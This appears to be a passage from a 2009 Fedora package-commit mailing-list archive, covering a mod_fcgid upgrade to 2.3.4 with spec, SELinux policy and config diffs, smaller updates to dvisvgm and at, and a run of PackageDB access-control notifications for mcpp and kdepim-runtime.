 * Tue Oct 13 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-83
 - Networking fixes taken from 2.6.31-stable
 



From pghmcfc at fedoraproject.org  Tue Oct 13 13:07:14 2009
From: pghmcfc at fedoraproject.org (Paul Howarth)
Date: Tue, 13 Oct 2009 13:07:14 +0000 (UTC)
Subject: rpms/mod_fcgid/devel mod_fcgid.2.1-docurls.patch,1.1,NONE
Message-ID: <20091013130714.6797911C00E8@cvs1.fedora.phx.redhat.com>

Author: pghmcfc

Update of /cvs/pkgs/rpms/mod_fcgid/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28524

Removed Files:
	mod_fcgid.2.1-docurls.patch 
Log Message:
Remove patch that's not used any more


--- mod_fcgid.2.1-docurls.patch DELETED ---



From pghmcfc at fedoraproject.org  Tue Oct 13 13:10:46 2009
From: pghmcfc at fedoraproject.org (Paul Howarth)
Date: Tue, 13 Oct 2009 13:10:46 +0000 (UTC)
Subject: rpms/mod_fcgid/F-12 mod_fcgid-2.3.4-fixconf-shellbang.patch, NONE, 
	1.1 .cvsignore, 1.5, 1.6 fastcgi.te, 1.7, 1.8 fcgid.conf, 1.4,
	1.5 mod_fcgid-2.1-README.RPM, 1.2,
	1.3 mod_fcgid-2.1-README.SELinux, 1.5, 1.6 mod_fcgid.spec, 1.21,
	1.22 sources, 1.6, 1.7 configuration.htm, 1.3, NONE doc.htm, 1.3,
	NONE mod_fcgid.2.1-docurls.patch, 1.1, NONE
Message-ID: <20091013131046.2D20611C02A1@cvs1.fedora.phx.redhat.com>

Author: pghmcfc

Update of /cvs/pkgs/rpms/mod_fcgid/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29272

Modified Files:
	.cvsignore fastcgi.te fcgid.conf mod_fcgid-2.1-README.RPM 
	mod_fcgid-2.1-README.SELinux mod_fcgid.spec sources 
Added Files:
	mod_fcgid-2.3.4-fixconf-shellbang.patch 
Removed Files:
	configuration.htm doc.htm mod_fcgid.2.1-docurls.patch 
Log Message:
- Update to 2.3.4
- Upstream moved to apache.org
- License changed to ASL 2.0
- Configuration directives have all been renamed - use fixconf.sed script to fix if necessary
- Lots of documentation changes
- Renumber sources
- Don't defer to mod_fastcgi if both are present
- Build SELinux policy module for EL-5; support in EL-5.3 is incomplete and will be fixed in EL-5.5 (#519369)
- Drop aliases httpd_sys_content_r{a,o,w}_t -> httpd_fastcgi_content_r{a,o,w}_t
  from pre-2.5 SElinux policy module as these types aren't defined there
- Drop gawk buildreq


mod_fcgid-2.3.4-fixconf-shellbang.patch:
 fixconf.sed |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE mod_fcgid-2.3.4-fixconf-shellbang.patch ---
--- mod_fcgid-2.3.4/build/fixconf.sed	2009-10-07 04:16:08.000000000 +0100
+++ mod_fcgid-2.3.4/build/fixconf.sed	2009-10-12 09:50:14.570448865 +0100
@@ -1,4 +1,4 @@
-#!/usr/bin/sed -f
+#!/bin/sed -f
 #
 # Licensed to the Apache Software Foundation (ASF) under one or more
 # contributor license agreements.  See the NOTICE file distributed with


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mod_fcgid/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	15 Sep 2007 16:01:29 -0000	1.5
+++ .cvsignore	13 Oct 2009 13:10:45 -0000	1.6
@@ -1 +1 @@
-mod_fcgid.2.2.tar.gz
+mod_fcgid-2.3.4.tar.bz2


Index: fastcgi.te
===================================================================
RCS file: /cvs/pkgs/rpms/mod_fcgid/F-12/fastcgi.te,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- fastcgi.te	24 Oct 2008 14:30:59 -0000	1.7
+++ fastcgi.te	13 Oct 2009 13:10:45 -0000	1.8
@@ -8,16 +8,13 @@
 # Previous versions of this policy module used a separate domain, httpd_fastcgi_script_t,
 # which is now an alias for httpd_sys_script_t.
 
-policy_module(fastcgi, 0.1.10)
+policy_module(fastcgi, 0.1.11)
 
 require {
 	type devpts_t;
 	type httpd_t;
 	type httpd_log_t;
 	type httpd_sys_content_t;
-	type httpd_sys_content_ra_t;
-	type httpd_sys_content_ro_t;
-	type httpd_sys_content_rw_t;
 	type httpd_sys_script_exec_t;
 	type httpd_sys_script_ra_t;
 	type httpd_sys_script_ro_t;
@@ -29,9 +26,6 @@ require {
 
 # Type aliases for contexts used with older policy modules
 typealias httpd_sys_content_t     alias httpd_fastcgi_content_t;
-typealias httpd_sys_content_ra_t  alias httpd_fastcgi_content_ra_t;
-typealias httpd_sys_content_ro_t  alias httpd_fastcgi_content_ro_t;
-typealias httpd_sys_content_rw_t  alias httpd_fastcgi_content_rw_t;
 typealias httpd_sys_script_exec_t alias httpd_fastcgi_script_exec_t;
 typealias httpd_sys_script_ra_t   alias httpd_fastcgi_script_ra_t;
 typealias httpd_sys_script_ro_t   alias httpd_fastcgi_script_ro_t;


Index: fcgid.conf
===================================================================
RCS file: /cvs/pkgs/rpms/mod_fcgid/F-12/fcgid.conf,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- fcgid.conf	26 May 2009 15:52:47 -0000	1.4
+++ fcgid.conf	13 Oct 2009 13:10:45 -0000	1.5
@@ -1,16 +1,14 @@
 # This is the Apache server configuration file for providing FastCGI support
 # through mod_fcgid
 #
-# Documentation is available at http://fastcgi.coremail.cn/doc.htm
+# Documentation is available at
+# http://httpd.apache.org/mod_fcgid/mod/mod_fcgid.html
 
 LoadModule fcgid_module modules/mod_fcgid.so
 
 # Use FastCGI to process .fcg .fcgi & .fpl scripts
-# Don't do this if mod_fastcgi is present, as it will try to do the same thing
-<IfModule !mod_fastcgi.c>
-    AddHandler fcgid-script fcg fcgi fpl
-</IfModule>
+AddHandler fcgid-script fcg fcgi fpl
 
 # Sane place to put sockets and shared memory file
-SocketPath /var/run/mod_fcgid
-SharememPath /var/run/mod_fcgid/fcgid_shm
+FcgidIPCDir /var/run/mod_fcgid
+FcgidProcessTableFile /var/run/mod_fcgid/fcgid_shm


Index: mod_fcgid-2.1-README.RPM
===================================================================
RCS file: /cvs/pkgs/rpms/mod_fcgid/F-12/mod_fcgid-2.1-README.RPM,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- mod_fcgid-2.1-README.RPM	26 Feb 2009 12:50:40 -0000	1.2
+++ mod_fcgid-2.1-README.RPM	13 Oct 2009 13:10:45 -0000	1.3
@@ -3,15 +3,10 @@ Using the mod_fcgid RPM Package
 
 This mod_fcgid package includes a configuration file
 /etc/httpd/conf.d/fcgid.conf that ensures that the module is loaded and
-added as the handler for .fcg, .fcgi, and .fpl applications (provided
-mod_fastcgi in not already loaded, in which case you will need to decide which
-module should handle which types of application).
+added as the handler for .fcg, .fcgi, and .fpl applications.
 
-So far the module package has only been tested in conjunction with the "moin"
-wiki application. Further feedback regarding other applications is welcome.
-
-Setting up moin with mod_fcgid
-==============================
+Example: setting up moin with mod_fcgid
+=======================================
 
 Setting up moin with mod_fcgid is very similar to setting it up as a regular
 CGI application.
@@ -37,7 +32,7 @@ CGI application.
    /etc/httpd/conf.d/mywiki.conf
 
     # Wiki application data common to all wiki instances
-    Alias /moin_static182 "/usr/share/moin/htdocs/"
+    Alias /moin_static185 "/usr/share/moin/htdocs/"
     <Directory "/usr/share/moin/htdocs/">
       Options Indexes FollowSymLinks
       AllowOverride None


Index: mod_fcgid-2.1-README.SELinux
===================================================================
RCS file: /cvs/pkgs/rpms/mod_fcgid/F-12/mod_fcgid-2.1-README.SELinux,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- mod_fcgid-2.1-README.SELinux	7 Apr 2009 09:32:25 -0000	1.5
+++ mod_fcgid-2.1-README.SELinux	13 Oct 2009 13:10:45 -0000	1.6
@@ -4,8 +4,7 @@ Using mod_fcgid with SELinux in Fedora C
 Versions of this package built for Fedora Core 5, 6, or 7 include an SELinux
 policy module to support FastCGI applications. Later Fedora releases and Red
 Hat Enterprise Linux 5.3 onwards include the policy in the main selinux-policy
-package and do not require the separate module. This has only been tested so
-far with moin, so feedback from other applications is welcome.
+package and do not require the separate module.
 
 The module source (fastcgi.{fc,te}) is included for reference as documentation
 in the package.


Index: mod_fcgid.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mod_fcgid/F-12/mod_fcgid.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- mod_fcgid.spec	25 Jul 2009 14:45:26 -0000	1.21
+++ mod_fcgid.spec	13 Oct 2009 13:10:45 -0000	1.22
@@ -1,8 +1,8 @@
 # Fedora 5, 6, and 7 versions includes SELinux policy module package
 # Fedora 8 and 9 versions include policy in errata selinux-policy releases
 # Fedora 10 onwards include policy in standard selinux-policy releases
-# RHEL 5.3 onwards include policy in standard selinux-policy releases
-%if 0%{?fedora} < 5 || 0%{?fedora} > 7
+# RHEL 5.5 onwards will include policy in standard selinux-policy releases
+%if 0%{?fedora}%{?rhel} < 5 || 0%{?fedora} > 7
 %global selinux_module 0
 %global selinux_types %{nil}
 %global selinux_variants %{nil}
@@ -15,31 +15,30 @@
 %endif
 
 Name:		mod_fcgid
-Version:	2.2
-Release:	13%{?dist}
-Summary:	Apache2 module for high-performance server-side scripting 
+Version:	2.3.4
+Release:	1%{?dist}
+Summary:	FastCGI interface module for Apache 2
 Group:		System Environment/Daemons
-License:	GPL+
-URL:		http://fastcgi.coremail.cn/
-Source0:	http://downloads.sf.net/mod-fcgid/mod_fcgid.%{version}.tar.gz
+License:	ASL 2.0
+URL:		http://httpd.apache.org/mod_fcgid/
+Source0:	http://www.apache.org/dist/httpd/mod_fcgid/mod_fcgid-%{version}.tar.bz2
 Source1:	fcgid.conf
-Source2:	fastcgi.te
-Source3:	fastcgi.fc
-Source4:	mod_fcgid-2.1-README.RPM
-Source5:	http://fastcgi.coremail.cn/doc.htm
-Source6:	http://fastcgi.coremail.cn/configuration.htm
-Source7:	mod_fcgid-2.1-README.SELinux
-Source8:	fastcgi-2.5.te
-Patch0:		mod_fcgid.2.1-docurls.patch
+Source2:	mod_fcgid-2.1-README.RPM
+Source3:	mod_fcgid-2.1-README.SELinux
+Source10:	fastcgi.te
+Source11:	fastcgi-2.5.te
+Source12:	fastcgi.fc
+Patch0:		mod_fcgid-2.3.4-fixconf-shellbang.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:	gawk, httpd-devel >= 2.0, pkgconfig
+BuildRequires:	httpd-devel >= 2.0, pkgconfig
 Requires:	httpd-mmn = %([ -a %{_includedir}/httpd/.mmn ] && %{__cat} %{_includedir}/httpd/.mmn || echo missing)
 # Make sure that selinux-policy is sufficiently up-to-date if it's installed
-%if "%{?rhel}" == "5"
-Conflicts:	selinux-policy < 2.4.6-203.el5
-# No provide here because selinux-policy >= 2.4.6-203.el5 does the providing
-Obsoletes:	mod_fcgid-selinux <= %{version}-%{release}
-%endif
+## FastCGI policy properly incorporated into EL 5.5 (not yet available)
+#%if "%{?rhel}" == "5"
+#Conflicts:	selinux-policy < 2.4.6-257.el5
+## No provide here because selinux-policy >= 2.4.6-203.el5 does the providing
+#Obsoletes:	mod_fcgid-selinux <= %{version}-%{release}
+#%endif
 %if "%{?fedora}" == "8"
 Conflicts:	selinux-policy < 3.0.8-123.fc8
 %endif
@@ -79,26 +78,23 @@ SELinux policy module supporting FastCGI
 %endif
 
 %prep
-%setup -q -n mod_fcgid.%{version}
+%setup -q
 %{__cp} -p %{SOURCE1} fcgid.conf
+%{__cp} -p %{SOURCE2} README.RPM
+%{__cp} -p %{SOURCE3} README.SELinux
 %if 0%{?selinux_policynum} < 20501
-%{__cp} -p %{SOURCE2} fastcgi.te
+%{__cp} -p %{SOURCE10} fastcgi.te
 %else
-%{__cp} -p %{SOURCE8} fastcgi.te
+%{__cp} -p %{SOURCE11} fastcgi.te
 %endif
-%{__cp} -p %{SOURCE3} fastcgi.fc
-%{__cp} -p %{SOURCE4} README.RPM
-%{__cp} -p %{SOURCE5} directives.htm
-%{__cp} -p %{SOURCE6} configuration.htm
-%{__cp} -p %{SOURCE7} README.SELinux
+%{__cp} -p %{SOURCE12} fastcgi.fc
+
+# Fix shellbang in fixconf script for our location of sed
 %patch0 -p1
-%{__sed} -i -e 's/\r$//' directives.htm configuration.htm
-/usr/bin/iconv -f gb2312 -t utf8 < configuration.htm > configuration.htm.utf8
-%{__mv} -f configuration.htm.utf8 configuration.htm
 
 %build
-topdir=$(/usr/bin/dirname $(/usr/sbin/apxs -q exp_installbuilddir))
-%{__make} top_dir=${topdir}
+APXS=/usr/sbin/apxs ./configure.apxs
+%{__make}
 %if %{selinux_module}
 for selinuxvariant in %{selinux_variants}
 do
@@ -110,15 +106,13 @@ done
 
 %install
 %{__rm} -rf %{buildroot}
-topdir=$(/usr/bin/dirname $(/usr/sbin/apxs -q exp_installbuilddir))
-%{__make} \
-	top_dir=${topdir} \
-	DESTDIR=%{buildroot} \
-	MKINSTALLDIRS="%{__mkdir_p}" \
-	install
+%{__make} DESTDIR=%{buildroot} MKINSTALLDIRS="%{__mkdir_p}" install
 %{__install} -D -m 644 fcgid.conf %{buildroot}%{_sysconfdir}/httpd/conf.d/fcgid.conf
 %{__install} -d -m 755 %{buildroot}%{_localstatedir}/run/mod_fcgid
 
+# Include the manual as %doc, don't need it elsewhere
+%{__rm} -rf %{buildroot}%{_var}/www/manual
+
 # Install SELinux policy modules
 %if %{selinux_module}
 for selinuxvariant in %{selinux_variants}
@@ -161,8 +155,10 @@ exit 0
 
 %files
 %defattr(-,root,root,-)
-%doc ChangeLog AUTHOR COPYING configuration.htm directives.htm
-%doc README.RPM
+# mod_fcgid.html.en is explicitly encoded as ISO-8859-1
+%doc CHANGES-FCGID LICENSE-FCGID NOTICE-FCGID README-FCGID STATUS-FCGID
+%doc docs/manual/mod/mod_fcgid.html.en modules/fcgid/ChangeLog
+%doc build/fixconf.sed
 %{_libdir}/httpd/modules/mod_fcgid.so
 %config(noreplace) %{_sysconfdir}/httpd/conf.d/fcgid.conf
 %dir %attr(0755,apache,apache) %{_localstatedir}/run/mod_fcgid/
@@ -175,6 +171,29 @@ exit 0
 %endif
 
 %changelog
+* Mon Oct 12 2009 Paul Howarth <paul at city-fan.org> 2.3.4-1
+- Update to 2.3.4 (configuration directives changed again)
+- Add fixconf.sed script for config file directives update
+
+* Fri Sep 25 2009 Paul Howarth <paul at city-fan.org> 2.3.1-2.20090925svn818270
+- Update to svn revision 818270
+- DESTDIR and header detection patches upstreamed
+- Build SELinux policy module for EL-5; support in EL-5.3 is incomplete and
+  will be fixed in EL-5.5 (#519369)
+- Drop aliases httpd_sys_content_r{a,o,w}_t -> httpd_fastcgi_content_r{a,o,w}_t
+  from pre-2.5 SElinux policy module as these types aren't defined there
+
+* Wed Sep 23 2009 Paul Howarth <paul at city-fan.org> 2.3.1-1.20090923svn817978
+- Update to post-2.3.1 svn snapshot
+- Upstream moved to apache.org
+- License changed to ASL 2.0
+- Use FCGID-prefixed config file options (old ones deprecated)
+- Lots of documentation changes
+- Renumber sources
+- Don't defer to mod_fastcgi if both are present
+- Drop gawk buildreq
+- Add patches fixing RPM build issues (DESTDIR support, header detection)
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2-13
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mod_fcgid/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	15 Sep 2007 16:01:29 -0000	1.6
+++ sources	13 Oct 2009 13:10:45 -0000	1.7
@@ -1 +1 @@
-ce7d7b16e69643dbd549d43d85025983  mod_fcgid.2.2.tar.gz
+de1af384672a4bf719038e79be029c09  mod_fcgid-2.3.4.tar.bz2


--- configuration.htm DELETED ---


--- doc.htm DELETED ---


--- mod_fcgid.2.1-docurls.patch DELETED ---



From mgieseki at fedoraproject.org  Tue Oct 13 13:18:44 2009
From: mgieseki at fedoraproject.org (Martin Gieseking)
Date: Tue, 13 Oct 2009 13:18:44 +0000 (UTC)
Subject: rpms/dvisvgm/devel .cvsignore, 1.4, 1.5 dvisvgm.spec, 1.3,
	1.4 sources, 1.4, 1.5
Message-ID: <20091013131844.6C90811C00E8@cvs1.fedora.phx.redhat.com>

Author: mgieseki

Update of /cvs/pkgs/rpms/dvisvgm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31188

Modified Files:
	.cvsignore dvisvgm.spec sources 
Log Message:
updated to latest upstream release 0.8.6



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dvisvgm/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	17 Sep 2009 12:42:38 -0000	1.4
+++ .cvsignore	13 Oct 2009 13:18:44 -0000	1.5
@@ -1 +1 @@
-dvisvgm-0.8.4.tar.gz
+dvisvgm-0.8.6.tar.gz


Index: dvisvgm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dvisvgm/devel/dvisvgm.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- dvisvgm.spec	17 Sep 2009 12:46:32 -0000	1.3
+++ dvisvgm.spec	13 Oct 2009 13:18:44 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           dvisvgm
-Version:        0.8.4
+Version:        0.8.6
 Release:        1%{?dist}
 Summary:        A DVI to SVG converter
 
@@ -59,17 +59,20 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS COPYING NEWS README
+%doc AUTHORS COPYING LGPL-2.1.txt NEWS README
 %{_bindir}/dvisvgm
 %{_mandir}/man1/dvisvgm.1.*
 
 
 %changelog
+* Tue Oct 13 2009  Martin Gieseking <martin.gieseking at uos.de> - 0.8.6-1
+- updated to latest upstream release 0.8.6
+
 * Thu Sep 17 2009 Martin Gieseking <martin.gieseking at uos.de> - 0.8.4-1
-- updated to latest upstream release
+- updated to latest upstream release 0.8.4
 
 * Mon Aug 24 2009 Martin Gieseking <martin.gieseking at uos.de> - 0.8.3-1
-- updated to latest upstream release
+- updated to latest upstream release 0.8.3
 - conditional Requires and BuildRequires to satisfy F-xx and EL5
 
 * Wed Aug 12 2009 Martin Gieseking <martin.gieseking at uos.de> - 0.8.1-5


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dvisvgm/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	17 Sep 2009 12:42:38 -0000	1.4
+++ sources	13 Oct 2009 13:18:44 -0000	1.5
@@ -1 +1 @@
-3dbbab35f7e50d66d438d059cf239f5f  dvisvgm-0.8.4.tar.gz
+d26db0e588b3e20401b710327b01325c  dvisvgm-0.8.6.tar.gz



From pkgdb at fedoraproject.org  Tue Oct 13 13:20:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:20:29 +0000
Subject: [pkgdb] mcpp had acl change status
Message-ID: <20091013132029.03F1010F8B4@bastion2.fedora.phx.redhat.com>

kmatsui has set the watchbugzilla acl on mcpp (Fedora devel) to Approved for mef

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 13:20:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:20:32 +0000
Subject: [pkgdb] mcpp had acl change status
Message-ID: <20091013132033.16DCC10F8B5@bastion2.fedora.phx.redhat.com>

kmatsui has set the watchcommits acl on mcpp (Fedora devel) to Approved for mef

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 13:20:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:20:35 +0000
Subject: [pkgdb] mcpp had acl change status
Message-ID: <20091013132035.8FF2510F86A@bastion2.fedora.phx.redhat.com>

kmatsui has set the commit acl on mcpp (Fedora devel) to Approved for mef

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 13:20:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:20:38 +0000
Subject: [pkgdb] mcpp had acl change status
Message-ID: <20091013132038.C786E10F8B3@bastion2.fedora.phx.redhat.com>

kmatsui has set the approveacls acl on mcpp (Fedora devel) to Approved for mef

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 13:20:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:20:56 +0000
Subject: [pkgdb] mcpp had acl change status
Message-ID: <20091013132056.7A15A10F8AD@bastion2.fedora.phx.redhat.com>

kmatsui has set the watchbugzilla acl on mcpp (Fedora 11) to Approved for mef

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 13:20:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:20:59 +0000
Subject: [pkgdb] mcpp had acl change status
Message-ID: <20091013132059.4EDD110F8C8@bastion2.fedora.phx.redhat.com>

kmatsui has set the watchcommits acl on mcpp (Fedora 11) to Approved for mef

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 13:21:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:21:04 +0000
Subject: [pkgdb] mcpp had acl change status
Message-ID: <20091013132104.7E33E10F8D3@bastion2.fedora.phx.redhat.com>

kmatsui has set the commit acl on mcpp (Fedora 11) to Approved for mef

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 13:21:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:21:10 +0000
Subject: [pkgdb] mcpp had acl change status
Message-ID: <20091013132110.6395110F8B7@bastion2.fedora.phx.redhat.com>

kmatsui has set the approveacls acl on mcpp (Fedora 11) to Approved for mef

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 13:21:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:21:20 +0000
Subject: [pkgdb] mcpp had acl change status
Message-ID: <20091013132120.7DFB510F8B4@bastion2.fedora.phx.redhat.com>

kmatsui has set the watchbugzilla acl on mcpp (Fedora 12) to Approved for mef

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 13:21:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:21:24 +0000
Subject: [pkgdb] mcpp had acl change status
Message-ID: <20091013132124.A814410F8BE@bastion2.fedora.phx.redhat.com>

kmatsui has set the watchcommits acl on mcpp (Fedora 12) to Approved for mef

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 13:21:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:21:29 +0000
Subject: [pkgdb] mcpp had acl change status
Message-ID: <20091013132129.90F1310F8D7@bastion2.fedora.phx.redhat.com>

kmatsui has set the commit acl on mcpp (Fedora 12) to Approved for mef

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 13:21:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:21:33 +0000
Subject: [pkgdb] mcpp had acl change status
Message-ID: <20091013132134.0037810F8CC@bastion2.fedora.phx.redhat.com>

kmatsui has set the approveacls acl on mcpp (Fedora 12) to Approved for mef

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From mmaslano at fedoraproject.org  Tue Oct 13 13:21:49 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Tue, 13 Oct 2009 13:21:49 +0000 (UTC)
Subject: rpms/at/F-12 at.spec,1.79,1.80
Message-ID: <20091013132149.3280611C00E8@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/at/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32514

Modified Files:
	at.spec 
Log Message:
* Tue Oct 13 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 3.1.10-39
- 528582 add noreplace option into files section



Index: at.spec
===================================================================
RCS file: /cvs/pkgs/rpms/at/F-12/at.spec,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- at.spec	29 Sep 2009 18:54:20 -0000	1.79
+++ at.spec	13 Oct 2009 13:21:48 -0000	1.80
@@ -6,7 +6,7 @@
 Summary: Job spooling tools
 Name: at
 Version: 3.1.10
-Release: 38%{?dist}
+Release: 39%{?dist}
 License: GPLv2+
 Group: System Environment/Daemons
 URL: http://ftp.debian.org/debian/pool/main/a/at
@@ -54,18 +54,13 @@ Buildroot: %{_tmppath}/%{name}-%{version
 At and batch read commands from standard input or from a specified
 file. At allows you to specify that a command will be run at a
 particular time. Batch will execute commands when the system load
-levels drop to a particular level. Both commands use /bin/sh.
+levels drop to a particular level. Both commands use user's shell.
 
 You should install the at package if you need a utility for
 time-oriented job control. Note: If it is a recurring job that will
 need to be repeated at the same time every day/week, etc. you should
 use crontab instead.
 
-#%{?_without_check: %define _without_check 1}
-#%{!?_without_check: %define _without_check 1}
-#%{!?_without_check: %define _without_check 0}
-# FIX THIS!
-
 %prep
 %setup -q
 
@@ -179,23 +174,26 @@ fi
 %files
 %defattr(-,root,root,-)
 %doc docs/*
-%config(noreplace) %{_sysconfdir}/at.deny
+%config(noreplace)		%{_sysconfdir}/at.deny
+%config(noreplace)		%{_sysconfdir}/sysconfig/atd
 %attr(0755,root,root)		%{_sysconfdir}/rc.d/init.d/atd
-%attr(0644,root,root)		%{_sysconfdir}/sysconfig/atd
 %attr(0700,daemon,daemon)	%dir %{_localstatedir}/spool/at
 %attr(0600,daemon,daemon)	%verify(not md5 size mtime) %ghost %{_localstatedir}/spool/at/.SEQ
 %attr(0700,daemon,daemon)	%dir %{_localstatedir}/spool/at/spool
-%attr(0640,root,daemon)	%config(noreplace) /etc/pam.d/atd
+%attr(0640,root,daemon)		%config(noreplace) /etc/pam.d/atd
 %{_sbindir}/atrun
-%attr(0755,root,root)	%{_sbindir}/atd
+%attr(0755,root,root)		%{_sbindir}/atd
 %{_mandir}/man*/*
 %{_bindir}/batch
 %{_bindir}/atrm
 %{_bindir}/atq
-%attr(4755,root,root)	%{_bindir}/at
-%attr(0755,root,root)	%{_libdir}/pm-utils/sleep.d/56atd
+%attr(4755,root,root)		%{_bindir}/at
+%attr(0755,root,root)		%{_libdir}/pm-utils/sleep.d/56atd
 
 %changelog
+* Tue Oct 13 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 3.1.10-39
+- 528582 add noreplace option into files section
+
 * Tue Sep 29 2009 Tomas Mraz <tmraz at redhat.com> 3.1.10-38
 - authentication PAM modules have to be configured for pam_setcred()
 



From pkgdb at fedoraproject.org  Tue Oct 13 13:28:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:28:21 +0000
Subject: [pkgdb] kdepim-runtime: ltinkl has requested watchbugzilla
Message-ID: <20091013132821.6117310F87F@bastion2.fedora.phx.redhat.com>

ltinkl has requested the watchbugzilla acl on kdepim-runtime (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:28:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:28:23 +0000
Subject: [pkgdb] kdepim-runtime: ltinkl has requested watchcommits
Message-ID: <20091013132823.8679A10F8A3@bastion2.fedora.phx.redhat.com>

ltinkl has requested the watchcommits acl on kdepim-runtime (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:28:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:28:25 +0000
Subject: [pkgdb] kdepim-runtime: ltinkl has requested commit
Message-ID: <20091013132826.1083D10F8A8@bastion2.fedora.phx.redhat.com>

ltinkl has requested the commit acl on kdepim-runtime (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:28:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:28:30 +0000
Subject: [pkgdb] kdepim-runtime: ltinkl has requested watchbugzilla
Message-ID: <20091013132830.BA5EE10F889@bastion2.fedora.phx.redhat.com>

ltinkl has requested the watchbugzilla acl on kdepim-runtime (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:28:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:28:32 +0000
Subject: [pkgdb] kdepim-runtime: ltinkl has requested watchcommits
Message-ID: <20091013132833.1B27E10F86A@bastion2.fedora.phx.redhat.com>

